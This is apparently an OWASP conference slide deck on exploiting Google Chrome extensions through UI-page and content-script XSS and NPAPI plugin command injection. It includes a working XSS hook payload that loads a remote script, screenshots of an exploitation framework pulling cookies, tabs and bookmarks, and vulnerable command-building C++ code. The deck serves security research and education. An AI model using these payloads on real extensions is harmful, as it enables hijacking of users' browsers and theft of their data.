I'm in ur browser, pwning your stuff

Attacking (with) Google Chrome extensions

Krzysztof Kotowicz
SecuRing
kkotowicz@securing.pl

OWASP

Copyright 2007 © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

About me

- Security research
  - client side security
  - HTML5
  - UI redressing
  - Chrome extensions
    - Black Hat USA, BruCON, Hack in Paris, CONFidence, ...
- IT security consultant @ SecuRing
  - web app, mobile pentests
  - security code reviews

SecuRing

Plan

- Chrome Extensions architecture
- Exploiting legacy (v1) extensions
- Manifest v2 fixes
- Exploiting v2 extensions

Chrome Extensions

- **Not** plugins (Java, Flash, ...)
- HTML5 applications
  - html, javascript, css
- Installed from Chrome Web Store
- Access to privileged API
  - chrome.tabs
  - chrome.bookmarks
  - chrome.history
  - chrome.cookies

Chrome Extensions - components

- UI pages
  - background page
  - option pages
  - extension UI



- Content scripts
  - run alongside website
  - interaction with websites



Diagram by Wade Alcorn. Thanks!

Chrome Extensions - manifest

- Manifest lists permissions, UI pages, content scripts

```
{
  "manifest_version": 2,
  "name": "Sample Extension",
  "content_scripts": [
    {
      "matches": ["http://www.google.com/*"],
      "js": ["jquery.js", "myscript.js"]
    }
  ],
  "background": {
    "page": "background.html"
  },
  "permissions": [
    "tabs",
    "bookmarks",
    "cookies"
    "http://*/*",
    "https://*/*",
  ]
}
```

Chrome Extensions - restrictions

	scheme	websites	chrome API
UI page	chrome-extension://	-	✔ limited by permissions
content script	http://	✔ limited by URL	-

Isolated worlds



Exploiting v1 extensions

UI page DOM XSS

- content-script takes data off website DOM
- sends it to UI page
- view fails to escape data upon viewing it

- **cross-zone DOM XSS**


Operating System
Chrome Browser
chrome.ext API
Web Page
Extension
Page Scripts
Content Scripts
Security Boundary
Background Page
NPAPI Plugin


Operating System
Chrome Browser
chrome.ext API
Web Page
Extension
Page Scripts
DOM
Security Boundary
Background Page
NPAPI Plugin


Operating System
Chrome Browser
chrome.ext
API
Web Page
Extension
Page
Scripts
DOM
Content
Scripts
Security Boundary
NPAPI
Plugin

UI page DOM XSS

- Consequences
  - XSS in chrome-extension://
  - access to chrome.* API

UI page DOM XSS

- Consequences
  - XSS in chrome-extension://
  - access to chrome.* API

Exploiting UI page XSS

https://github.com/koto/xsschef

- Chrome Extension Exploitation Framework
- BEEF for Chrome extensions

XSS ChEF


Hook code
First, you need to find a XSS vulnerable Chrome extension. I won't help here. Once you've found it, inject Chrome extension with a hook vector:
if(location.protocol.indexOf('chrome')==0){d=document;e=createElement('sc
ript');e.src='http://localhost/xsschef/hook.php';d.body.appendChild(e);}
For example:
<img src=x onerror="if(location.protocol.indexOf('chrome')==0){d=document
;e=createElement('script');e.src='http://localhost/xsschef/hook.php';d.bo
dy.appendChild(e);}">
After hook has been executed, launch this console (in a separate browser), choose hooked session by clicking on the and start having fun!

XSS ChEF


XSS ChEF - Chrome Extension Exploitation Framework
About
Readme
Hook code
Saved screenshots
c386302
Tabs
Persistent scripts
Hooked extension info
Extension commands
ID
Window
Title
1521
1265
My Drive - Google Drive
1511
1265
koto/xsschef
1515
1265
XSS ChEF console
Legend
choose hooked browser session
refresh tab list from session
launch URL in this browser
launching this might be visible in hooked browser
Get hook code
Info
Commands
HTML
Get cookies etc.
URL
https://drive.google.com/a/kos.io/?tab=mo#my-drive
Cookies
__utma=84331846.12341415.1332965346.1332965346.1332965346.1; __ut
Cookies w/httpOnly
__utma=84331846.12341415.1332965346.1332965346.1332965346.1; __ut
localStorage
{
"bios": "true",
"download": "true",
"firstRun": "true",
"last_visit_time": "1339007219637",
"lyrics": "false",
"notification_visible": "false",
"notifications": "true",
"notifications_installed": "true",
"scrobble": "false",
"shortcuts": "false",
"support": "false",
"tabID": "266"
}
Log
reporting persistent
reporting tabs
reporting persistent
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
reporting tabs
XSS

XSS ChEF



ID	Window	Title
2	1	Inbox (22) - securityvictim@gmail.com - Gmail
4	1	Mozilla Developer Network
6	1	Płatności i przelewy internetowe — system PayPal

XSS ChEF


Eval
does extension have plugins
Choose code snippet...
get manifest file
does extension have plugins
delete URL from history
reset proxy settings
get cookies
search history
set proxy settings
do I have local file access
grab Google contacts
remove cookie
have you visited google
set cookie
get installed apps
get proxy settings


Eval
search bookmarks
Use __logEval(object) to return result asynchronously, also see extension API docs
chrome.bookmarks.search("http", __logEval);
Eval
[
{
"dateAdded": 1314661004359,
"id": "23",
"index": 0,
"parentId": "21",
"title": "Gmail",
"url": "https://mail.google.com/"
},
{
"dateAdded": 1317319149162,

Chrome extensions v1 summary

- UI page XSS is very common
  - note taking
  - developer tools
  - RSS readers
- Each XSS has big impact
- **How do you eradicate XSS without relying on developers?**

Content Security Policy 1.1

W3C Editor's Draft 10 October 2012

This version:
http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html
Latest published version:
http://www.w3.org/TR/CSP/
Latest editor's draft:
http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html
Previous version:
none
Editors:
Brandon Sterne, Mozilla Corporation
Adam Barth, Google, Inc.
Mike West, Google, Inc.

Copyright © 2010-2012 W3C® (MIT, ERCIM, Keio), All Rights Reserved. W3C liability, trademark and document use rules apply.

Manifest v2 fixes

Manifest v2

- **Content Security Policy** obligatory for UI pages

```
script-src 'self'; object-src 'self'
```

  - no eval()
  - no inline scripting
  - no external scripts
- XSS exploitation very difficult
- Manifest v1 extensions slowly deprecating
  - Jan 2014 - Chrome stops running them

- **All fixed?**

Exploiting v2 extensions

UI page XSS - new vectors

- eval() used in JS templating libraries
  - mustachejs
  - underscorejs
  - jQuery template
  - hoganjs
  - ...
- Possible to relax CSP to allow unsafe-eval
- Some extensions use it

Content script XSS

- Content scripts not subject to CSP
- Go figure...


Operating System
Chrome Browser
chrome.ext API
Web Page
Extension
Page Scripts
Content Scripts
Security Boundary
Background Page
NPAPI Plugin


Operating System
Chrome Browser
chrome.ext API
Web Page
Extension
Page Scripts
DOM
Security Boundary
Background Page
NPAPI Plugin


Operating System
Chrome Browser
chrome.ext API
Web Page
Extension
Page Scripts
DOM
Security Boundary
Background Page
NPAPI Plugin

Content script XSS

- XSS in http://
- chrome-extension **CSP** bypass
- access to DOM
- access to cookies

As sexy as self XSS...



Content script XSS

- website **CSP** bypass
- "Content scripts can also make cross-site XMLHttpRequests to the same sites as their parent extensions"
  - http://developer.chrome.com/extensions/content_scripts.html

Content script XSS

- website **CSP** bypass
- "Content scripts can also make cross-site XMLHttpRequests to the same sites as their parent extensions"
  - http://developer.chrome.com/extensions/content_scripts.html

```
"permissions": [
  "http://*/*",
  "https://*/*",
]
```

Content script XSS

- website **CSP** bypass
- "Content scripts can also make cross-site XMLHttpRequests to the same sites as their parent extensions"
  - http://developer.chrome.com/extensions/content_scripts.html

```
"permissions": [
  "http://*/*",
  "https://*/*",
]
```

40%

Content script XSS

- Introducing **Mosquito**



https://github.com/koto/mosquito

- (Another) Chrome Extension XSS Exploitation tool
- XSS-Proxy for the new era

http://www.growingherbsforbeginners.com/growing-herbs-for-mosquito-season/

Mosquito

```
x = new XMLHttpRequest();
x.open("GET", 'http://gmail.com', false);
x.setRequestHeader('X-Mosquito', 'yeah!');
x.send(null);
```

```
GET http://gmail.com HTTP/1.1
Host: gmail.com
X-Mosquito: yeah!
```



XSS

ws://

HTTP/S proxy





- inspired by MalaRIA by Erlend Oftedal
- and BeEF tunneling proxy by @antisnatchor

DEMO TIME

- v 1.0.3.3
- https://chrome.google.com/webstore/detail/anydo/kdadialhpiikehpdeejjeiikopddkjem
- 0.5 mln users
- found by Sergey Belov

NPAPI plugins vulnerabilities

- UI page gets the payload
- Forwards it to NPAPI plugin
- Binary vulnerability in plugin
  - buffer overflow
  - command injection
  - ...
- Code run with OS user permission
- No sandbox!


Operating System
Chrome Browser
chrome.ext API
Web Page
Extension
Page Scripts
Content Scripts
Security Boundary
Background Page
NPAPI Plugin


Operating System
Chrome Browser
chrome.ext API
Web Page
Extension
Page Scripts
DOM
Security Boundary
Background Page
NPAPI Plugin


Operating System
Chrome Browser
chrome.ext
API
Web Page
Extension
Page
Scripts
DOM
Content
Scripts
Security Boundary
NPAPI
Plugin


Operating System
Chrome Browser
chrome.ext API
Web Page
Extension
Page Scripts
DOM
Content Scripts
Security Boundary
Background Page

NPAPI plugins vulnerabilities

CR-GPG 0.7.4

```
FB::variant gmailGPGAPI::encryptMessage(const FB::variant& recipients,const
FB::variant& msg)
{
    string gpgFileLocation = "\""+m_appPath +"gpg.exe\" ";
    //...
    vector<string> peopleToSendTo = recipients.convert_cast<vector<string> >();
    string cmd = "c:\\windows\\system32\\cmd.exe /c ";
cmd.append(gpgFileLocation);
cmd.append("-e --armor");
cmd.append(" --trust-model=always");
for (unsigned int i = 0; i < peopleToSendTo.size(); i++) {
    cmd.append(" -r");
    cmd.append(peopleToSendTo.at(i));
}
cmd.append(" --output ");
```

NPAPI plugins vulnerabilities

CR-GPG 0.7.4

```
FB::variant gmailGPGAPI::encryptMessage(const FB::variant& recipients,const
FB::variant& msg)
{
    string gpgFileLocation = "\""+m_appPath +"gpg.exe\" ";
    //...
    vector<string> peopleToSendTo = recipients.convert_cast<vector<string> >();
    string cmd = "c:\\windows\\system32\\cmd.exe /c ";
cmd.append(gpgFileLocation);
cmd.append("-e --armor");
cmd.append(" --trust-model=always");
for (unsigned int i = 0; i < peopleToSendTo.size(); i++) {
    cmd.append(" -r");
    cmd.append(peopleToSendTo.at(i));
}
cmd.append(" --output ");
```

```
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.10 (GNU/
Linux)

hQIOA5iUCyMfX/
D2EAgAhikRs40xo05gNu9XSIO2jrjTI
ShwfWK2d7+9xlv9UjDN
...
-----END PGP MESSAGE-----
```



Bonus

- CSP bypass through filesystem: API
- Filesystem API - virtual filesystem for HTML app
  - filesystem:http://example.com/file.png
  - filesystem:chrome-extension://<id>/path.html

- Postman - REST client
- v 0.8.1
- 180K users
  - including @webtonull

Summary

- Chrome extensions v2 still XSSable
- CSP should be treated as **mitigation**, not prevention
- New tools for attack

EOF

- @kkotowicz
- http://blog.kotowicz.net
- https://github.com/koto
- More research:
  - Kyle Osborn, Matt Johansen – Hacking Google ChromeOS (Black Hat 2011)
  - http://www.eecs.berkeley.edu/~afelt/extensionvulnerabilities.pdf
  - http://kotowicz.net/bh2012/advanced-chrome-extension-exploitation-osborn-kotowicz.pdf
- Thanks: @0x[0-9a-f]{10}, @webtonull, @wisecwisec, @johnwilander, @garethheyes, @antisnatchor, @freddyb,@internot, @pdjstone, ...